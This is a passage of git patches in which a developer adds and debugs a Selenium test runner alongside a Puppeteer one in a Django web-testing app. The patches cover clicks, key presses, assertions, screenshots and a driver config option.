+                    image=image
+                )
+
+            
+            if step['action']['type'] == 'keyDown':
+                exception = None
+                passed = True
+                update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+                
+                try:
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                    # using selenium, press the selected key
+                    self.driver.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+            
+
+
+
+            if step['assertion']['type'] == 'match':
+                exception = None
+                passed = True
+                update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+                    # using selenium, find elememt and assert if element.text == assertion.text
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+                    elementText = elementText.strip()
+                    print(f'elementText => {elementText}')
+                    print(f'value => {step["assertion"]["value"]}')
+                    assert elementText == step["assertion"]["value"]
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+
+            
+            if step['assertion']['type'] == 'exists':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='assertion', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'asserting that element -> {step["assertion"]["element"]} exists')
+                    # using puppeteer, find elememt and assert it exists
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+
+            i += 1  
+
+        self.update_testcase_s(
+            time_completed=datetime.now()
+        )
+        quit_driver(driver=self.driver)
+        print('-- testcase run complete --')
+
+
+
+
+    
+
+
+
+
+
+
+    
+    async def run_p(self):
+
+
+        print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
         
         # initate driver
@@ -363,4 +712,46 @@ async def run(self):
             time_completed=datetime.now()
         )
         await self.driver.close()
-        print('-- testcase run complete --')
\ No newline at end of file
+        print('-- testcase run complete --')
+
+    
+    
+    
+    
+    
+    
+    
+    
+    self.s_keys = {
+        '+':            Keys.ADD,
+        'Alt':          Keys.ALT,
+        'ArrowDown':    Keys.ARROW_DOWN,
+        'ArrowLeft':    Keys.ARROW_LEFT,
+        'ArrowRight':   Keys.ARROW_RIGHT,
+        'ArrowUp':      Keys.ARROW_UP,
+        'Backspace':    Keys.BACKSPACE,
+        'Control':      Keys.CONTROL,
+        '.':            Keys.DECIMAL,
+        'Delete':       Keys.DELETE,
+        '/':            Keys.DIVIDE,
+        'Enter':        Keys.ENTER,
+        '=':            Keys.EQUALS,
+        'Escape':       Keys.ESCAPE,
+        'Meta':         Keys.META,
+        '*':            Keys.MULTIPLY,
+        '0':            Keys.NUMPAD0,
+        '1':            Keys.NUMPAD1,
+        '2':            Keys.NUMPAD2,
+        '3':            Keys.NUMPAD3,
+        '4':            Keys.NUMPAD4,
+        '5':            Keys.NUMPAD5,
+        '6':            Keys.NUMPAD6,
+        '7':            Keys.NUMPAD7,
+        '8':            Keys.NUMPAD8,
+        '9':            Keys.NUMPAD9,
+        ';':            Keys.SEMICOLON,
+        'Shift':        Keys.SHIFT,
+        'Space':        Keys.SPACE,
+        '-':            Keys.SUBTRACT,
+        'Tab':          Keys.TAB
+    }
\ No newline at end of file
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 452755e7..295437c2 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -253,9 +253,10 @@ def create_testcase_task(
 
     
     # running testcase
-    testresult = asyncio.run(
-        Caser(testcase=testcase).run()
-    )
+    # testresult = asyncio.run(
+    #     Caser(testcase=testcase).run()
+    # )
+    testresult = Caser(testcase=testcase).run_s()
 
     if automation_id:
         automation(automation_id, testcase.id)

From 91841e470ec05526aff696d0c61cea8893468ef5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:02:31 -0600
Subject: [PATCH 407/752] fixed some bugs

---
 app/api/utils/caser.py | 69 +++++++++++++++++++++---------------------
 1 file changed, 35 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 8cb329ed..175361ae 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -22,6 +22,39 @@ def __init__(self, testcase):
         self.steps = self.testcase.steps
         self.case_name = self.testcase.case.name
         self.configs = self.testcase.configs
+        self.s_keys = {
+            '+':            Keys.ADD,
+            'Alt':          Keys.ALT,
+            'ArrowDown':    Keys.ARROW_DOWN,
+            'ArrowLeft':    Keys.ARROW_LEFT,
+            'ArrowRight':   Keys.ARROW_RIGHT,
+            'ArrowUp':      Keys.ARROW_UP,
+            'Backspace':    Keys.BACKSPACE,
+            'Control':      Keys.CONTROL,
+            '.':            Keys.DECIMAL,
+            'Delete':       Keys.DELETE,
+            '/':            Keys.DIVIDE,
+            'Enter':        Keys.ENTER,
+            '=':            Keys.EQUALS,
+            'Escape':       Keys.ESCAPE,
+            'Meta':         Keys.META,
+            '*':            Keys.MULTIPLY,
+            '0':            Keys.NUMPAD0,
+            '1':            Keys.NUMPAD1,
+            '2':            Keys.NUMPAD2,
+            '3':            Keys.NUMPAD3,
+            '4':            Keys.NUMPAD4,
+            '5':            Keys.NUMPAD5,
+            '6':            Keys.NUMPAD6,
+            '7':            Keys.NUMPAD7,
+            '8':            Keys.NUMPAD8,
+            '9':            Keys.NUMPAD9,
+            ';':            Keys.SEMICOLON,
+            'Shift':        Keys.SHIFT,
+            'Space':        Keys.SPACE,
+            '-':            Keys.SUBTRACT,
+            'Tab':          Keys.TAB
+        }
 
 
 
@@ -135,7 +168,7 @@ async def save_screenshot(self, page):
 
 
     
-    def save_screenshot_s(self, page):
+    def save_screenshot_s(self):
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
@@ -722,36 +755,4 @@ async def run_p(self):
     
     
     
-    self.s_keys = {
-        '+':            Keys.ADD,
-        'Alt':          Keys.ALT,
-        'ArrowDown':    Keys.ARROW_DOWN,
-        'ArrowLeft':    Keys.ARROW_LEFT,
-        'ArrowRight':   Keys.ARROW_RIGHT,
-        'ArrowUp':      Keys.ARROW_UP,
-        'Backspace':    Keys.BACKSPACE,
-        'Control':      Keys.CONTROL,
-        '.':            Keys.DECIMAL,
-        'Delete':       Keys.DELETE,
-        '/':            Keys.DIVIDE,
-        'Enter':        Keys.ENTER,
-        '=':            Keys.EQUALS,
-        'Escape':       Keys.ESCAPE,
-        'Meta':         Keys.META,
-        '*':            Keys.MULTIPLY,
-        '0':            Keys.NUMPAD0,
-        '1':            Keys.NUMPAD1,
-        '2':            Keys.NUMPAD2,
-        '3':            Keys.NUMPAD3,
-        '4':            Keys.NUMPAD4,
-        '5':            Keys.NUMPAD5,
-        '6':            Keys.NUMPAD6,
-        '7':            Keys.NUMPAD7,
-        '8':            Keys.NUMPAD8,
-        '9':            Keys.NUMPAD9,
-        ';':            Keys.SEMICOLON,
-        'Shift':        Keys.SHIFT,
-        'Space':        Keys.SPACE,
-        '-':            Keys.SUBTRACT,
-        'Tab':          Keys.TAB
-    }
\ No newline at end of file
+    
\ No newline at end of file

From eab7169d9dff552efeab2f988d58dd371cea0939 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:12:10 -0600
Subject: [PATCH 408/752] more fixes

---
 app/api/utils/caser.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 175361ae..c05ce516 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -189,7 +189,7 @@ def save_screenshot_s(self):
         pic_id = uuid.uuid4()
         
         # get screenshot
-        self.driver.save_screenshot({'path': f'{pic_id}.png'})
+        self.driver.save_screenshot(f'{pic_id}.png')
 
         # seting up paths
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
@@ -244,7 +244,7 @@ def run_s(self):
                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
                     # using selenium, navigate to requested path & wait for page to load
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -282,7 +282,7 @@ def run_s(self):
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -322,7 +322,7 @@ def run_s(self):
                     # using puppeteer, find and click on the 'element'
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -358,7 +358,7 @@ def run_s(self):
                 
                 try:
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -398,7 +398,7 @@ def run_s(self):
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -440,7 +440,7 @@ def run_s(self):
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),

From 86fc754a308a6fc8ed93d8c972acbfe6f3288dd3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:13:54 -0600
Subject: [PATCH 409/752] fixed more stuff

---
 app/api/utils/caser.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c05ce516..9f41845d 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -289,7 +289,7 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -405,7 +405,7 @@ def run_s(self):
                     )
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
@@ -447,7 +447,7 @@ def run_s(self):
                     )
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     image = self.save_screenshot_s()
 
                 except Exception as e:

From 849d8e4ce67a76d9113b94092cd1b8226053d04b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:22:21 -0600
Subject: [PATCH 410/752] fixing more issues

---
 app/api/utils/caser.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 9f41845d..31cb8455 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -249,7 +249,7 @@ def run_s(self):
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
-                    self.driver.get(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
 
@@ -351,7 +351,7 @@ def run_s(self):
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                update_testcase_s(
+                self.update_testcase_s(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -388,7 +388,7 @@ def run_s(self):
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                update_testcase_s(
+                self.update_testcase_s(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )

From 91a1376d1dc153f344edb3fc7e06e8ae6b749dce Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:38:45 -0600
Subject: [PATCH 411/752] fixing more stuff

---
 app/api/utils/caser.py | 24 ++++++++++++++++++++----
 1 file changed, 20 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 31cb8455..600800a5 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -330,7 +330,8 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     # changing value of element
-                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", {step["action"]["value"]})')
+                    value = step["action"]["value"]
+                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -357,15 +358,30 @@ def run_s(self):
                 )
                 
                 try:
+                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                
+                    # getting last known element
+                    n = (i - 1)
+                    elm = None
+                    while True:
+                        elm = self.steps[n]['action']['element']
+                        if elm != None and len(elm) != 0:
+                            break
+                        n -= 1
+
+                    selector = self.format_element_s(elm)
                     driver_wait(
                         driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
-                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                    )                
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+
                     # using selenium, press the selected key
-                    self.driver.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 

From de8da0580fc26c8ecadc9f953b60d9dddfbcfbff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:50:44 -0600
Subject: [PATCH 412/752] testing

---
 app/api/utils/caser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 600800a5..55451e93 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -381,6 +381,7 @@ def run_s(self):
 
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    element.click()
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()

From c83bd7a64bf74a1c7f61a38bc0cbb2a9cafaeadc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 13:50:29 -0600
Subject: [PATCH 413/752] testing JS click method

---
 app/api/utils/caser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 55451e93..b3507cd3 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -290,7 +290,7 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    element.click()
+                    self.driver.execute_script(f'document.querySelector("{selector}").click()')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 

From 1b231b14399ed925190898e94ae15f87421ea0e7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 13:58:34 -0600
Subject: [PATCH 414/752] added driver as option

---
 app/api/utils/caser.py  |  6 +-----
 app/api/v1/ops/tasks.py | 10 ++++++----
 2 files changed, 7 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b3507cd3..93eb3a27 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -491,10 +491,6 @@ def run_s(self):
 
 
 
-    
-
-
-
 
 
 
@@ -506,7 +502,7 @@ async def run_p(self):
             using case {self.case_name}')
         
         # initate driver
-        self.driver = await driver_init()
+        self.driver = await driver_p_init()
         
         # init page obj 
         self.page = await self.driver.newPage()
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 295437c2..0f9f4dc7 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -253,10 +253,12 @@ def create_testcase_task(
 
     
     # running testcase
-    # testresult = asyncio.run(
-    #     Caser(testcase=testcase).run()
-    # )
-    testresult = Caser(testcase=testcase).run_s()
+    if configs.get('driver', 'puppeteer') == 'puppeteer':
+        testresult = asyncio.run(
+            Caser(testcase=testcase).run_p()
+        )
+    if configs.get('driver', 'puppeteer') == 'selenium':
+        testresult = Caser(testcase=testcase).run_s()
 
     if automation_id:
         automation(automation_id, testcase.id)

From 5377b7862bdebc0a7f738ed37c06aacd210bcbc7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:13:47 -0600
Subject: [PATCH 415/752] fixing issues

---
 app/api/v1/ops/services.py | 11 ++++++++---
 app/api/v1/ops/tasks.py    | 21 +++++++++++----------
 2 files changed, 19 insertions(+), 13 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 67b986ea..38a892df 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2596,6 +2596,7 @@ def create_testcase(request, delay=False):
         configs = {
             'window_size': '1920,1080',
             'device': 'desktop',
+            'driver': 'puppeteer',
             'interval': 5,
             'min_wait_time': 10,
             'max_wait_time': 30,
@@ -2616,9 +2617,13 @@ def create_testcase(request, delay=False):
         create_testcase_bg.delay(testcase_id=testcase.id)
     else:
         # running testcase
-        asyncio.run(
-            Caser(testcase=testcase).run()
-        )
+        if configs.get('driver', 'puppeteer') == 'puppeteer':
+            testresult = asyncio.run(
+                Caser(testcase=testcase).run_p()
+            )
+        if configs.get('driver', 'puppeteer') == 'selenium':
+            testresult = Caser(testcase=testcase).run_s()
+
         testcase = Testcase.objects.get(id=testcase.id)
 
     serializer_context = {'request': request,}
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 0f9f4dc7..33f23149 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,6 +209,16 @@ def create_testcase_task(
         automation_id=None
     ):
 
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
     
@@ -232,16 +242,7 @@ def create_testcase_task(
         if updates != None:
             for update in updates:
                 steps[int(update['index'])]['action']['value'] = update['value']
-
-        if configs is None:
-            configs = {
-                'window_size': '1920,1080',
-                'device': 'desktop',
-                'interval': 5,
-                'min_wait_time': 10,
-                'max_wait_time': 30,
-            }
-            
+    
         testcase = Testcase.objects.create(
             case = case,
             case_name = case.name,

From daadd7692662d2e09a77e49de5f0107871d6de4b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:21:31 -0600
Subject: [PATCH 416/752] fixing configs issue

---
 app/api/v1/ops/tasks.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 33f23149..5760884d 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,6 +209,12 @@ def create_testcase_task(
         automation_id=None
     ):
 
+   
+
+    if testcase_id != None:
+        testcase = Testcase.objects.get(id=testcase_id)
+        configs = testcase.configs
+
     if configs is None:
         configs = {
             'window_size': '1920,1080',
@@ -218,9 +224,6 @@ def create_testcase_task(
             'min_wait_time': 10,
             'max_wait_time': 30,
         }
-
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
     
     else:
         case = Case.objects.get(id=case_id)

From c31cf4049fd4167c4a5bdc298c206192b4976281 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:24:56 -0600
Subject: [PATCH 417/752] fixing issues

---
 app/api/v1/ops/tasks.py | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 5760884d..2620c85e 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,21 +209,9 @@ def create_testcase_task(
         automation_id=None
     ):
 
-   
-
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
         configs = testcase.configs
-
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
     
     else:
         case = Case.objects.get(id=case_id)
@@ -255,7 +243,16 @@ def create_testcase_task(
             steps = steps
         )
 
-    
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
     # running testcase
     if configs.get('driver', 'puppeteer') == 'puppeteer':
         testresult = asyncio.run(

From 165b3cbc62ccad47431e89d7014de55f1658a5dc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:31:11 -0600
Subject: [PATCH 418/752] testing new selenium methods

---
 app/api/utils/caser.py | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 93eb3a27..4e4a11bc 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -290,7 +290,8 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    self.driver.execute_script(f'document.querySelector("{selector}").click()')
+                    # self.driver.execute_script(f'document.querySelector("{selector}").click()')
+                    element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -329,9 +330,11 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     # changing value of element
                     value = step["action"]["value"]
-                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
+                    # self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
+                    element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -358,8 +361,7 @@ def run_s(self):
                 )
                 
                 try:
-                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
-                
+                    print(f'keyDown action for key -> {step["action"]["key"]}')
                     # getting last known element
                     n = (i - 1)
                     elm = None
@@ -368,7 +370,6 @@ def run_s(self):
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
-
                     selector = self.format_element_s(elm)
                     driver_wait(
                         driver=self.driver, 
@@ -378,10 +379,8 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    element.click()
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()

From be876fea3a4f4bcfb6dc60e507c1ab5188f7c23a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 21 Mar 2024 12:40:10 -0600
Subject: [PATCH 419/752] updated selenium scripts

---
 app/api/utils/caser.py | 48 ++++++++----------------------------------
 1 file changed, 9 insertions(+), 39 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 4e4a11bc..45d074ea 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -220,6 +220,9 @@ def run_s(self):
             device=self.configs['device']
         )
 
+        # setting implict wait_time for driver
+        self.driver.implicitly_wait(self.configs['max_wait_time'])
+
         i = 0
         for step in self.steps:
             print(f'-- running step #{i+1} --')
@@ -281,16 +284,9 @@ def run_s(self):
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
+                                    
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    # self.driver.execute_script(f'document.querySelector("{selector}").click()')
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -320,20 +316,12 @@ def run_s(self):
                 
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using puppeteer, find and click on the 'element'
+                    # using selenium, find and click on the 'element'
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
-                    # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                                    
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     # changing value of element
                     value = step["action"]["value"]
-                    # self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
                     element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -371,14 +359,7 @@ def run_s(self):
                             break
                         n -= 1
                     selector = self.format_element_s(elm)
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
